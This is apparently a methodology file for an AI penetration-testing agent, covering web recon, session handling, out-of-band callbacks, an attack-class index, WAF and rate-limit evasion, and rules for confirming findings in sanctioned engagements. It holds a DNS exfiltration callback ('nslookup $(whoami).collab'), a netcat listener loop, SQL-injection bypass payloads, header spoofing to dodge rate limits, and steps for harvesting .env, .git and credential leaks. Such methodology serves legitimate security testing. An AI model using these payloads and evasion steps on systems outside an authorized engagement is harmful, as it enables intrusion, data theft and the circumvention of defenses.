---
name: web-pentest
description: Web application penetration testing methodology for Pi agent — reconnaissance, auth handling, per-class attack methodology, detection, confirmation, evasion, and reporting. Use when testing a live web target within a sanctioned engagement. Per-class methodology lives in classes/<slug>.md; read only the class(es) you are assigned.
---

# Web Pentest Methodology

This skill is a **router**. The shared workflow (recon, auth, OOB, evasion, confirmation) lives here; each attack class lives in its own file under `classes/`. **Read only the class file(s) for your assignment** — an auditor scoped to `sqli` reads `classes/sql-injection.md`, not the whole corpus.

## exploit_search Integration

XPI has access to the [exploit_search](https://preview.is) security corpus. Use it at every stage:

- **Recon** — after fingerprinting tech, search known CVEs, techniques, and evasion for that framework/version.
- **Probe** — before/during a class, search the latest techniques, payloads, and bypasses. The class files cover the core; exploit_search surfaces newer variants.
- **Evasion** — when a WAF blocks you, search bypasses for that specific filter/WAF.
- **Confirmation** — search known PoCs / detection patterns for the class.

```
exploit_search(query="django 5.0 known CVEs")
exploit_search(query="WAF bypass SQLi no-error")
exploit_search(query="command injection out-of-band detection")
```

Try the class file's ordered techniques first (they are ranked by likelihood); use exploit_search as a force multiplier when the basics don't work, not a replacement.

---

## Hard Rules

- **Never create accounts autonomously.** No signup, registration, disposable inboxes, or temp mail. If the target needs auth, the user supplies credentials.
- **Never scan outside authorized scope.** Check every URL against the engagement scope before hitting it. Unsure → ask the user.
- **Never DoS.** Concurrency ≤ 10 threads, rate ≤ 50 req/min for fuzzing. Stop on 429 (rate limit) or 403 (WAF).
- **No fabrication.** A finding that does not reproduce against the live target is dismissed. "Theoretically vulnerable" does not count.
- **Record everything.** Each technique tried goes in the casefile `evidence` field with the request, response, and conclusion.

---

## 1. Workflow

```
1. RECON     — fingerprint tech, map endpoints, understand auth
2. MAP       — parameter/content discovery, identify attack surface
3. PROBE     — per-class testing, ordered techniques, stop-technique-on-confirm
4. CONFIRM   — reproduce independently, eliminate false positives
5. ESCALATE  — chain findings, pivot to higher impact
6. REPORT    — evidence, reproducible PoC, severity, fix
```

**ESCALATE is assisted:** run `ChainSuggest` before declaring the engagement done — it scans confirmed/investigating cases for exploitable combinations (credential+endpoint→ATO, open-redirect+OAuth→token theft, XSS+state-change→CSRF bypass, IDOR+user-data→mass leak, SSTI→RCE, race+payment, info-disclosure+SSRF) ranked by confidence. Verify a suggested chain live, then `CaseLink` the pair. Low-severity findings that chain into ATO/mass-leak are what triage cares about.

Each phase feeds the next. Don't skip recon — it determines which classes are relevant.

### Target prioritization & signal reading

- **Rank classes by what gets you data or execution:** auth bypass > injection > file read > info disclosure. DoS, popup XSS, and pure info leak are not findings on their own.
- **Every failure response is a signal:** 403 = endpoint exists (auth gap to test), WAF block = payload reached the parser (evasion path), timeout = possible blind injection (timing oracle), 401 vs 302 = how auth gates.
- **Non-prod first:** uat/dev/staging usually have weaker controls, direct origin exposure, default creds, real data. Test them before prod.
- **15-minute rule:** no breakthrough on one target in 15 min → switch, come back. Don't tunnel.
- **Falsification generates the next hypothesis:** a negative for one class is evidence for the adjacent one — sqlmap-negative on a filter is a mass-assignment/ORM-leak lead, not "no injection here" (see `classes/orm-leak.md`).

---

## 2. Reconnaissance

Before any payload, learn the target.

**Blackbox recon is attack-surface mapping, not raw collection.** Every class you can meaningfully test is capped by what recon surfaced. Aggressively gather high-signal intel, then interpret it into entry points, auth models, trust boundaries, attacker model, and attack classes. Pick intel sources because they can change that map: credible tech + versions, routes/params, auth boundaries, JS/source maps for SPA/API-heavy apps, exposed schemas (OpenAPI/GraphQL introspection), or leaked infrastructure (origin IP, backups, `.git`). Record each useful lead as `EvidenceAdd role=observation` and pivot to it directly.

**And observe behavior, not just artifacts.** Send a controlled request, change one thing, read the **differential** — status vs length vs timing vs body vs error text. That differential is where internals leak: 403-vs-404 reveals which endpoints exist, a timing gap is a blind-injection oracle, an error string names the parser/ORM/stack, a 200-with-error-body is a silent failure, a changed result across a request *sequence* is a logic flaw. Each anomaly is a hypothesis — `CaseAdd` it with its `disproveIf`, then probe to confirm or kill it.

### Technology fingerprinting

Fetch with `http_request` (cookie jar persists), then `grep` the response — don't pipe `curl` into `bash grep`:

```
http_request(url: "https://target.com")
grep(pattern: "server|x-powered-by|x-aspnet|set-cookie", path: "<response-body-or-file>")
grep(pattern: "<meta name=\"generator\"|wp-content|drupal|laravel|next\\.js", path: "<response-body-or-file>")
```

Check: **Server** (Apache/Nginx/IIS/Cloudflare) · **Framework** (React/Angular/Django/Rails/Laravel/ASP.NET/Next.js) · **Language** (PHP/Java `JSESSIONID`/Python/Go/Node) · **Auth** (cookie name, JWT, session token) · **API style** (REST/GraphQL/SOAP) · **Known CVEs** (`exploit_search` `"<tech> <version> CVE"`). **Frameworks are the 2026 attack surface** — pin the version and search for framework-specific flaws (Next.js cache, Prisma/Beego/Django ORM, .NET), not just app code.

### Endpoint discovery

```
http_request(url: "https://target.com/main.js")          # then grep for hidden routes
http_request(url: "https://target.com/api")              # /swagger /graphql /.env /.git/config
```
```bash
bash("httpx -u https://target.com -t 10 -tl -json | jq '.tech'")
bash("ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -rate 50 -t 10 -mc 200,301,302,401,403")
bash("arjun -u https://target.com/api/user -m GET,POST")
```

Identify public-vs-authed endpoints, parameterized routes (`/user/{id}`), upload endpoints, admin interfaces, API docs (Swagger/GraphiQL/OpenAPI).

### API route & version fuzzing

```
1. ROUTE-LEVEL FUZZ (Kiterunner) — API routes are word-based:  kr scan <url> -w routes-large.kite -rate 50
2. VERSION DOWNGRADE — /api/v2/admin → v1 → /api/admin → /admin; downgrade bypasses version-gated authz
3. METHOD SWITCHING — GET blocked → POST/PUT/PATCH/OPTIONS; OPTIONS leaks allowed verbs + route existence
4. DEPRECATED ENDPOINTS FIRST — old code has fewer checks; OpenAPI `deprecated: true` entries linger server-side
5. PARSER DIFFERENTIAL — inject backslash / null bytes into routes/params; parsers disagree (see classes/parser-differential.md)
```
Every discovered endpoint gets an authz test (`classes/access-control.md`) before any injection testing — a hidden endpoint with no auth check is usually the fastest finding.

### Subdomain & asset discovery (bounty scope)

```bash
bash("subfinder -d target.com -silent | tee subs.txt")
bash("cat subs.txt | httpx -silent -t 10")
bash("nmap -iL live-subs.txt --top-ports 100 -T3 --max-rate 50")
```
Record every asset in `assumptions`; only probe hosts **within the declared scope**.

### Surface hardening: origin IP, source maps, leaked backups

```
CDN → ORIGIN IP: DNS history (SecurityTrails/passive DNS) · SSL cert serial (FOFA/Shodan) · favicon hash
  pivot · mail Received chain + X-Originating-IP · unique body-string search · verify
  curl -H "Host: target.com" https://<candidate-ip> · CT logs for internal SANs
JS SOURCE MAPS: unwebpack-sourcemap → LinkFinder (routes) → SecretFinder (creds) → SubDomainizer
VCS/BACKUP LEAKS: /.git/config (GitHack) · /.svn · /.DS_Store · www.zip/.bak/.swp/.orig/.sql/.env · WEB-INF/
PASSIVE ARCHIVES (zero traffic): gau target.com (Wayback+CommonCrawl+OTX+URLScan); harvest redirect=/file=/url= params
```
A leaked origin IP or source map is a high-value pivot; record it as `EvidenceAdd observation`.

Map the auth boundary — which endpoints require auth, which accept unauth, how denial is signalled (401 vs 302 vs 200-with-error):

```
http_request(url: "https://target.com/admin")                                        # authed (jar persists)
http_request(url: "https://target.com/admin", headers: { cookie: "session=invalid" }) # unauthed denial
```

---

## 3. Auth & Session Handling

`http_request` keeps a per-session cookie jar — `Set-Cookie` is stored and re-injected to the same host, so login → probe flows need no manual cookie management.

```
# Login (Set-Cookie stored), then hit a protected resource (cookie injected)
http_request(url: "https://target.com/api/login", method: "POST", json: { user: "...", pass: "..." })
http_request(url: "https://target.com/admin")

# Bearer / JWT
http_request(url: "https://target.com/api/users", headers: { Authorization: "Bearer eyJ..." })

# Basic
http_request(url: "https://target.com/api/protected", headers: { Authorization: "Basic <b64(user:pass)>" })
```

**CSRF token:** GET the form (jar stores cookies), grep the token from the body, POST with it. **Multiple roles:** the jar is shared — re-authenticate as each role before probing, and test each endpoint at every role level.

## 3.5 Out-of-Band (OOB) Callback Channel

Blind classes (blind SQLi, blind SSRF, blind command injection, deserialization) can only be *detected* via an OOB callback — a DNS/HTTP hit from the target to a listener you control.

```bash
# Local listener (detection only — see the confirmation caveat below)
bash("while true; do printf '%s ' \"$(date -Is)\"; nc -l -p 8080 -q1 | head -1; done >> oob.log &")
# DNS OOB: interactsh-client -v   (prints a *.interact.sh domain; poll for hits)
```

- Generate a **unique token per probe** (`poc-<caseid>-<attempt>`) to attribute each callback.
- A callback confirms the sink is reachable; it does not by itself confirm exfil — embed data in the callback (`nslookup $(whoami).collab`).
- **Confirmation caveat (critical):** a listener the PoC can reach itself is *detection telemetry, not proof*. The confirmation gate **rejects loopback OOB** — see §8. Blind classes stay `INCOMPLETE`/`blocked` until a source-separated, operator-owned collector exists. No callback within 60s → not confirmed.

---

## 4. Attack-Class Index

Each class has its own file under `classes/`. **Read only the file(s) for your assignment.** Every file follows: Checklist → Techniques (ranked) → Detection → Confirmation → Evasion, with a professional header mapping the class to CWE / OWASP Top 10 2021 / OWASP API Top 10 2023 / WSTG 4.2.

| Class file | Covers | CWE | OWASP 2021 / API 2023 | WSTG 4.2 |
|-----------|--------|-----|------------------------|----------|
| `sql-injection.md` | SQL / NoSQL / LDAP / XPath injection | CWE-89, CWE-943 | A03 | WSTG-INPV-05/06 |
| `xss.md` | Reflected / stored / DOM XSS | CWE-79 | A03 | WSTG-CLNT-01, INPV-01/02 |
| `access-control.md` | IDOR / BOLA / BFLA / BOPLA / mass assignment / privesc | CWE-639, CWE-284, CWE-862, CWE-915 | A01 / API1,3,5 | WSTG-ATHZ-01…04 |
| `ssrf.md` | Server-side request forgery | CWE-918 | A10 / API7 | WSTG-INPV-19 |
| `path-traversal.md` | Path traversal / LFI / RFI | CWE-22, CWE-98 | A01 / A03 | WSTG-ATHZ-01, INPV-11/12 |
| `command-injection.md` | OS command injection | CWE-78 | A03 | WSTG-INPV-12 |
| `deserialization.md` | Insecure deserialization (Java/PHP/.NET/Python/Ruby/Fastjson) | CWE-502 | A08 | WSTG-INPV-11 |
| `ssti.md` | Server-side template injection | CWE-1336, CWE-94 | A03 | WSTG-INPV-18 |
| `xxe.md` | XXE / XML attacks | CWE-611 | A05 | WSTG-INPV-07 |
| `jwt-saml.md` | JWT & SAML token forgery | CWE-347 | A02 / A07 | WSTG-SESS-10, ATHN-* |
| `oauth-oidc.md` | OAuth 2.0 / OIDC flow abuse | CWE-601, CWE-352 | A07 / API2 | WSTG-ATHZ-04, SESS-* |
| `orm-leak.md` | ORM leaking (Django/Prisma/Beego/EF/OData) | CWE-639, CWE-200 | A01 / A03 | WSTG-INPV-05 |
| `graphql.md` | GraphQL data leak & authz | CWE-284 | API1/API3 | WSTG-INPV, ATHZ |
| `business-logic.md` | Business/workflow logic flaws | CWE-840, CWE-841 | A04 / API6 | WSTG-BUSL-01…09 |
| `race-conditions.md` | TOCTOU / limit-overrun / single-packet | CWE-362, CWE-367 | A04 | WSTG-BUSL-* |
| `file-upload.md` | Malicious file upload → RCE | CWE-434 | A04 / A08 | WSTG-BUSL-09 |
| `request-smuggling.md` | HTTP request smuggling / desync | CWE-444 | A06 | WSTG-* |
| `web-cache-poisoning.md` | Cache poisoning & deception | CWE-524, CWE-525 | A05 | WSTG-* |
| `cors.md` | CORS misconfiguration | CWE-942, CWE-346 | A05 / API8 | WSTG-CLNT-07 |
| `prototype-pollution.md` | Server & client-side prototype pollution | CWE-1321 | A03 / A08 | WSTG-CLNT-13 |
| `parser-differential.md` | Cross-parser semantic gaps (meta-class) | CWE-436 | A03 | WSTG-* |
| `database-attacks.md` | Post-access DB engine attacks (MySQL/PG/MSSQL/Oracle/Redis) | CWE-89, CWE-78 | A03 | WSTG-* |
| `supply-chain.md` | Dependency confusion & CI/CD abuse | CWE-1104, CWE-506 | A06 / A08 | WSTG-* |

**Class selection is recon-driven.** Choose classes from the tech + surface you mapped in §2; batch tightly-related classes per auditor (the coordinator assigns one family at a time). `vuln_class` in stage output is a free label — pick the most precise one, not necessarily a filename.

---

## 5. Evasion Basics

### WAF / input-filter bypass

**First: `exploit_search` for WAF-specific bypasses** (Cloudflare/Akamai/F5/mod_security patterns change over time):

```
exploit_search(query="Cloudflare WAF SQLi bypass 2026")
exploit_search(query="mod_security CRS rule bypass XSS")
```

General techniques when search comes up dry:

```
CASE VARIATION:        <sCript> vs <script>
COMMENT INJECTION:     /**/OR/**/1=1
ENCODING LAYERING:     URL → HTML entity → double URL
UNINITIALIZED VARS:    [undefined ... 1] (JSFuck)
HOMOGLYPH:             Cyrillic 'е' for Latin 'e' in param names
PARAMETER POLLUTION:   ?id=1&id=2 (parsers disagree on which wins)
UNICODE NORMALIZATION: %C0%AE%C0%AE/ (overlong "../")
```

The 8-strategy ladder (each targets a different WAF *layer* — a blocked one doesn't invalidate the next):

```
1. HTTP PARAMETER POLLUTION — ?id=1&id=2' OR 1=1--  (WAF inspects one value, backend concatenates)
2. PARAMETER FRAGMENTATION — split the payload across same-name params; backend joins, WAF sees fragments
3. BODY FILLER — pad the body past the WAF inspection limit; the overflow region is often unscanned
4. EBCDIC / IBM500 — a charset the backend transcodes but the WAF doesn't
5. UTF-16BE (XML classes) — XML declared UTF-16BE bypasses ASCII signatures
6. DIRECT-TO-ORIGIN — skip the WAF: send to the origin IP with the correct Host header (§2)
7. WHITELIST WRAPPING — wrap the payload in strings the WAF allows
8. REGEX REVERSE-ENGINEERING — swap tokens one at a time: and→||, space→%0b/%09, '→0x-hex, OR→OORR, /**/ splice
```

### Rate-limit bypass

```
IP ROTATION:  X-Forwarded-For / X-Real-IP / X-Originating-IP: $RANDOM_IP
HEADERS:      randomize User-Agent, Accept, Accept-Language per request
TIMING:       random delay ±50%; on 429 wait the Retry-After value
```

---

## 6. Confirmation

A finding is real only when it **reproduces independently**.

### Prerequisites
1. Same payload → same result across 3 requests.
2. Null request (no payload) does NOT produce the same result. *(This is the differential the machine gate formalizes — see below.)*
3. The result is distinguishable from noise.
4. The case carries an artifact-backed `observation` evidence item (the promotion gate rejects `confirmed` without it).

### Machine gate & differential mode
Confirmation runs through the main-agent PoC gate (`PromoteFinding` → `ConfirmFinding`). The PoC writes nonce-bound `evidence.json` with a response-body predicate; the harness replays it and requires a conclusive **`target_only`** differential. Pick the differential shape by class:

- **`inter_host`** (default) — body-carried proof identical on any host: SQLi exfil, file read, info leak, RCE output, reflection. Uses an operator-approved `control_target`.
- **`intra_target`** — access-control & business-logic classes (IDOR/BOLA, auth bypass, privilege escalation, mass assignment, logic/price tampering) where the discriminating variable is IDENTITY or a PARAMETER, not the host. The evidence declares `verify.mode:"intra_target"` and a same-host `baseline` (the attacker's own object, a properly-authorized request, the omitted field); the proof must appear on the attack response and be absent from the baseline. No control host.

### Confirmation by class

| Class | Confirm by | Mode |
|-------|-----------|------|
| SQLi | Extract 2+ bytes of real DB content, verify correctness | inter_host |
| XSS | Payload executes (headless `alert(1)` or callback fires) | inter_host (canary) |
| IDOR/BOLA | Another user's data returned; absent for the attacker's own object | **intra_target** |
| Auth bypass / privesc | Protected content returned without the required identity | **intra_target** |
| SSRF | Internal service response OR OOB from an internal IP | inter_host / OOB |
| Path traversal | Content of 2+ known files, verified | inter_host |
| Command injection | Command output in response OR OOB with unique data | inter_host / OOB |
| Deserialization | Valid OOB callback OR command output | inter_host / OOB |
| Business logic | The illegitimate end-state; legitimate flow does not reach it | **intra_target** |

---

## 7. Tools Reference

**Tool degradation ladder (hard rule):** every command has a fallback chain — try in order, never silently skip a check:
1. Primary (`ffuf`/`nuclei`/`httpx`/`dig`)
2. Equivalent (`gobuster`/`feroxbuster`, `curl`+grep, `nslookup`)
3. Manual/API (`http_request`, WebFetch, vendor API)
4. Record the limitation — a missing tool is a documented gap (`blockers`/assumptions), not a skipped check.

**Platform mapping** (run per host OS, don't rewrite the technique): `dig`→`Resolve-DnsName`; `curl`→`Invoke-WebRequest`; `grep`→`Select-String`; bash chains→PowerShell `;`.

**No fabrication, ever:** an uninstalled tool, a failed command, or a timeout is reported as such — never "looks like it should have succeeded". Check presence (`command -v <tool>`) where failure is ambiguous.

| Tool | Use | Rate limit |
|------|-----|-----------|
| `curl` | Single requests, PoC repro, manual exploration | manual `sleep` |
| `httpx` | Endpoint discovery, tech detection, live-host probing | `-rl 50` |
| `ffuf` | Param fuzz, content/dir discovery | `-rate 50 -t 10` |
| `nuclei` | Template scanning, CVE verification | `-rl 50` |
| `subfinder` | Passive subdomain enum | — |
| `nmap` | Port/service scan | `--max-rate 50 -T3` |
| `arjun` | Hidden parameter discovery | default |
| `interactsh-client` | OOB DNS+HTTP channel (blind classes) | — |
| `jq` | Parse JSON, extract for chaining | — |

All via `bash` — these are fire-and-forget CLIs, not code search. **For code search use the `ast_grep` tool (structural/AST — sink and call-shape matching in parsed languages) or the `grep` tool (raw text in source, saved responses, minified bundles), never `bash("rg/grep/ast-grep ...")`.** For stateful HTTP (authed sessions, cookies, custom headers) use `http_request`, not `curl`.

---

## 8. Known Capability Gaps

Things this extension **cannot do today**. Work around them; don't pretend they work.

- **No source-separated OOB listener.** The `nc`/`interactsh` recipes run via `bash` and are **not** integrated with the casefile, and a loopback listener the PoC can reach is *detection telemetry, not proof* — the confirmation gate rejects it (a PoC can self-call it). Blind classes (blind SQLi/SSRF/command-injection/deserialization) record `INCOMPLETE`/`blocked`, never `confirmed`, until a harness-owned collector gated on a listener log containing a harness-generated token exists. Manually check for callbacks and record hits in `evidence`.
- **No scope enforcement in code.** Nothing rejects an out-of-scope URL — you check every URL against the program scope before hitting it.
- **No structured response capture.** Responses live in `evidence` as free text; to diff a baseline against a mutated response, save both and `diff` them (or use the intra_target machine gate, which does this differential for you).

If any of these blocks a confirmation, say so in `nextStep` and ask the user for help. Don't fabricate a confirmation you couldn't verify.